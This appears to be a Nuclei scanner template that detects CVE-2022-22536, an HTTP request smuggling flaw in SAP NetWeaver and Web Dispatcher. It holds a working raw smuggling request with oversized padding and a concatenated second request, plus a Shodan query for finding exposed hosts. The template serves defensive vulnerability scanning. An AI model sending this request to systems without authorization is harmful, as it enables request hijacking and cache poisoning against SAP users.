id: CVE-2022-22536 info: name: SAP Memory Pipes (MPI) Desynchronization author: pdteam severity: critical description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system. impact: | Successful exploitation of this vulnerability can result in unauthorized access to sensitive data and potential data leakage. remediation: | Apply the latest security patches and updates provided by SAP to mitigate this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-22536 - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022 - https://github.com/Onapsis/onapsis_icmad_scanner - https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/ - https://launchpad.support.sap.com/#/notes/3123396 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2022-22536 cwe-id: CWE-444 epss-score: 0.95701 epss-percentile: 0.99283 cpe: cpe:2.3:a:sap:content_server:7.53:*:*:*:*:*:*:* metadata: max-request: 2 vendor: sap product: content_server shodan-query: http.favicon.hash:-266008933 tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev http: - raw: - |+ GET {{sap_path}} HTTP/1.1 Host: {{Hostname}} Content-Length: 82646 Connection: keep-alive {{repeat("A", 82642)}} GET / HTTP/1.1 Host: {{Hostname}} payloads: sap_path: # based on https://github.com/Onapsis/onapsis_icmad_scanner - /sap/admin/public/default.html - /sap/public/bc/ur/Login/assets/corbu/sap_logo.png stop-at-first-match: true unsafe: true read-all: true matchers-condition: and matchers: - type: dsl dsl: - "contains(tolower(body), 'administration')" - "contains(tolower(header), 'content-type: image/png')" condition: or - type: word part: body words: - "HTTP/1.0 400 Bad Request" # error in concatenated response - "HTTP/1.0 500 Internal Server Error" - "HTTP/1.0 500 Dispatching Error" condition: or - type: status status: - 200 # digest: 490a00463044022062015351e1bd7d8484e9829d06901344a55651711e21f64f28a2bce04ad9778b02207fa74aaa8d9b17a2c0cd9bd0dc8d52b9e88403c3e1aa8977b5b0fd625985ea0e:922c64590222798bb761d5b6d8e72950